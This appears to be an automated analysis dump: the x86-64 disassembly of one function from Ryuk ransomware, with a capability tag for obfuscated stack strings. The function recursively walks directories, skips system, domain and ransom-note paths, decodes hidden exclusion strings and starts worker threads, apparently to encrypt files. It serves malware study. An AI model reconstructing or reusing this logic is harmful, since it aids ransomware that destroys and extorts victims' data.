Function at 0x7ff6fba63f54
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, rsp
mov qword [rax + 0x20], r9
mov qword [rax + 0x18], r8
mov dword [rax + 0x10], edx
mov qword [rax + 8], rcx
push rbp
push rbx
push rsi
push rdi
lea rbp, [rax - 0x688]
sub rsp, 0x768
mov rdi, rcx
mov rsi, r9
add rcx, 0xfffffffffffffffe
xor eax, eax
lea rcx, [rcx + 2]
cmp word [rcx], ax
jne 0x7ff6fba63f84
movsd xmm0, qword [0x7ff6fba7e450]
lea rdx, [rbp + 0x20]
movsd qword [rcx], xmm0
movzx eax, word [0x7ff6fba7e458]
mov word [rcx + 8], ax
mov rcx, rdi
call qword [0x7ff6fba946e0]
lea rdx, [0x7ff6fba7e460]
mov rcx, rdi
mov rbx, rax
mov qword [rsp + 0x38], rax
call fcn.7ff6fba66bb4
or rcx, 0xffffffffffffffff
xor edx, edx
inc rcx
cmp word [rax + rcx*2], dx
jne 0x7ff6fba63fce
or rax, 0xffffffffffffffff
inc rax
cmp word [rdi + rax*2], dx
jne 0x7ff6fba63fdb
sub rax, rcx
mov word [rdi + rax*2], dx
cmp rbx, 0xffffffffffffffff
je 0x7ff6fba64488
mov r8d, 0x2e
lea rcx, [rbp + 0x4c]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], dx
jne 0x7ff6fba64003
cmp rax, 1
jne 0x7ff6fba6403c
mov edx, r8d
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66b20
xor edx, edx
test rax, rax
je 0x7ff6fba6403c
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [0x7ff6fbd33ae0]
xor edx, edx
test eax, eax
je 0x7ff6fba64488
lea rcx, [rbp + 0x4c]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], dx
jne 0x7ff6fba64044
cmp rax, 2
jne 0x7ff6fba64081
lea rdx, [0x7ff6fba7e468]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
xor edx, edx
test rax, rax
je 0x7ff6fba64081
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [0x7ff6fbd33ae0]
xor edx, edx
test eax, eax
je 0x7ff6fba64488
xor eax, eax
mov dword [rsp + 0x40], 0x680041
mov dword [rsp + 0x4e], eax
mov word [rsp + 0x52], ax
mov dword [rsp + 0x66], eax
mov word [rsp + 0x6a], ax
mov qword [rbp - 0x58], rax
mov dword [rbp - 0x50], eax
mov word [rbp - 0x4c], ax
mov dword [rbp - 0x76], eax
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x30], eax
mov word [rbp - 0x2c], ax
mov dword [rsp + 0x44], 0x4c006e
mov dword [rsp + 0x48], 0x620061
mov word [rsp + 0x4c], dx
mov dword [rsp + 0x58], 0x680043
mov dword [rsp + 0x5c], 0x6f0072
mov dword [rsp + 0x60], 0x65006d
mov word [rsp + 0x64], dx
mov dword [rbp - 0x68], 0x6f004d
mov dword [rbp - 0x64], 0x69007a
mov dword [rbp - 0x60], 0x6c006c
mov dword [rbp - 0x5c], 0x61
mov dword [rsp + 0x70], 0x520024
mov dword [rsp + 0x74], 0x630065
mov dword [rsp + 0x78], 0x630079
mov dword [rsp + 0x7c], 0x65006c
mov dword [rbp - 0x80], 0x42002e
mov dword [rbp - 0x7c], 0x6e0069
mov word [rbp - 0x78], dx
mov dword [rbp - 0x48], 0x490057
mov dword [rbp - 0x44], 0x44004e
mov dword [rbp - 0x40], 0x57004f
mov dword [rbp - 0x3c], 0x53
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba641b3
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba641b3
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba641b3
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba641b3
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
je 0x7ff6fba64235
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [0x7ff6fbd33ae0]
test eax, eax
jne 0x7ff6fba64152
lea rdx, [rsp + 0x40]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba64488
lea rdx, [rsp + 0x58]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba64488
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba64488
lea rdx, [rsp + 0x70]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba64488
lea rdx, [rbp - 0x48]
lea rcx, [rbp + 0x4c]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba64488
test byte [rbp + 0x20], 0x10
je 0x7ff6fba642b6
mov rcx, rdi
call fcn.7ff6fba625c0
lea rcx, [rdi - 2]
xor eax, eax
lea rcx, [rcx + 2]
cmp word [rcx], ax
jne 0x7ff6fba64249
lea r8, [rbp + 0x4c]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x7ff6fba64258
mov r8, qword [rbp + 0x6a0]
mov r9, rsi
mov edx, dword [rbp + 0x698]
mov rcx, rdi
call fcn.7ff6fba63f54
mov rcx, rdi
call fcn.7ff6fba625c0
or rcx, 0xffffffffffffffff
mov rax, rcx
xor edx, edx
inc rax
cmp word [rdi + rax*2], dx
jne 0x7ff6fba64292
lea r8, [rbp + 0x4c]
inc rcx
cmp word [r8 + rcx*2], dx
jne 0x7ff6fba6429f
sub rax, rcx
mov word [rdi + rax*2 - 2], dx
jmp 0x7ff6fba6446d
xor edx, edx
lea rcx, [rbp + 0x270]
mov r8d, 0x3e8
call fcn.7ff6fba6188c
xor edx, edx
mov ecx, edx
movzx eax, word [rbp + rcx + 0x4c]
mov word [rbp + rcx + 0x270], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x7ff6fba642ce
lea rdx, str.RyukReadMe.html
lea rcx, [rbp + 0x270]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba6446d
lea rdx, str.UNIQUE_ID_DO_NOT_REMOVE
lea rcx, [rbp + 0x270]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba6446d
lea rdx, str.PUBLIC
lea rcx, [rbp + 0x270]
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba6446d
lea rdx, str.Windows_
mov rcx, rdi
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba6446d
lea rdx, str.sysvol
mov rcx, rdi
call fcn.7ff6fba66bb4
test rax, rax
jne 0x7ff6fba6446d
lea rdx, str.netlogon
mov rcx, rdi
call fcn.7ff6fba66bb4
xor ecx, ecx
test rax, rax
jne 0x7ff6fba6446d
lea rbx, [0x7ff6fba89460]
mov dword [rsp + 0x30], ecx
lea rax, [rbp - 0x18]
mov esi, ecx
sub rbx, rax
mov qword [rbp - 0x20], rbx
xor edx, edx
lea rcx, [rbp - 0x18]
lea r8d, [rdx + 0x32]
call fcn.7ff6fba6188c
mov eax, esi
xor edx, edx
imul rcx, rax, 0x32
lea rax, [0x7ff6fba89460]
add rcx, rax
mov qword [rbp - 0x28], rcx
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], dx
jne 0x7ff6fba643c3
test rax, rax
je 0x7ff6fba64413
lea rdi, [rbp - 0x18]
mov esi, edx
movzx ecx, word [rbx + rdi]
call fcn.7ff6fba680a8
mov word [rdi], ax
or rcx, 0xffffffffffffffff
mov rax, qword [rbp - 0x28]
lea rdi, [rdi + 2]
inc esi
xor edx, edx
inc rcx
cmp word [rax + rcx*2], dx
jne 0x7ff6fba643f3
movsxd rax, esi
cmp rax, rcx
jb 0x7ff6fba643d7
mov rdi, qword [rbp + 0x690]
mov esi, dword [rsp + 0x30]
mov rcx, qword [rbp - 0x28]
mov rdx, rcx
lea rcx, [rbp + 0x270]
call fcn.7ff6fba66bb4
lea rdx, [rbp - 0x18]
mov rbx, rax
lea rcx, [rbp + 0x270]
call fcn.7ff6fba66bb4
xor ecx, ecx
test rbx, rbx
jne 0x7ff6fba64461
test rax, rax
jne 0x7ff6fba64461
cmp esi, 4
je 0x7ff6fba6449d
mov rbx, qword [rbp - 0x20]
inc esi
add rbx, 0x32
mov dword [rsp + 0x30], esi
mov qword [rbp - 0x20], rbx
cmp esi, 5
jb 0x7ff6fba6439a
mov rsi, qword [rbp + 0x6a8]
mov rbx, qword [rsp + 0x38]
lea rdx, [rbp + 0x20]
mov rcx, rbx
call qword [0x7ff6fbd33ae0]
xor edx, edx
lea r8d, [rdx + 0x2e]
test eax, eax
jne 0x7ff6fba63ffb
mov rcx, rbx
call qword [0x7ff6fba93440]
add rsp, 0x768
pop rdi
pop rsi
pop rbx
pop rbp
ret
mov edx, 0x2710
mov r9d, 4
mov r8d, 0x1000
call qword [0x7ff6fba933a8]
xor r10d, r10d
mov rbx, rax
test rax, rax
je 0x7ff6fba64461
mov rdx, rbx
mov qword [rax], r10
sub rdx, rdi
mov rax, rdi
movzx ecx, word [rax]
mov word [rdx + rax], cx
lea rax, [rax + 2]
test cx, cx
jne 0x7ff6fba644cb
lea rcx, [rbx - 2]
lea rcx, [rcx + 2]
cmp word [rcx], r10w
jne 0x7ff6fba644df
lea r8, [rbp + 0x4c]
xor edx, edx
movzx eax, word [r8 + rdx*2]
mov word [rcx + rdx*2], ax
inc rdx
test ax, ax
jne 0x7ff6fba644ef
lea rdi, [0x7ff6fba97dd8]
mov ecx, r10d
mov rdx, r10
mov rax, rdi
cmp dword [rax], r10d
je 0x7ff6fba64531
inc ecx
lea r8, [0x7ff6fbd34a78]
inc rdx
add rax, 0x36e0
cmp rax, r8
jl 0x7ff6fba64510
mov r9, r10
jmp 0x7ff6fba64553
imul rax, rdx, 0x36e0
mov dword [rax + rdi], 1
movsxd rax, ecx
imul r9, rax, 0x36e0
lea rax, [0x7ff6fba94700]
add r9, rax
test r9, r9
jne 0x7ff6fba64568
mov ecx, 0x96
call qword [0x7ff6fbd33af8]
xor r10d, r10d
jmp 0x7ff6fba64507
mov rax, qword [rbp + 0x6a0]
mov rdx, r9
mov rsi, qword [rbp + 0x6a8]
sub rdx, rbx
mov rdi, qword [rbp + 0x690]
mov rcx, rbx
mov qword [r9 + 0x36c0], rax
mov qword [r9 + 0x36c8], rsi
mov dword [r9 + 0x36d0], 1
movzx eax, word [rcx]
mov word [rcx + rdx], ax
lea rcx, [rcx + 2]
test ax, ax
jne 0x7ff6fba6459f
mov qword [rsp + 0x28], r10
lea r8, [0x7ff6fba653a4]
xor edx, edx
mov dword [rsp + 0x20], r10d
xor ecx, ecx
call qword [0x7ff6fbd313c8]
xor edx, edx
mov r8d, 0x8000
mov rcx, rbx
call qword [0x7ff6fba94428]
jmp 0x7ff6fba64468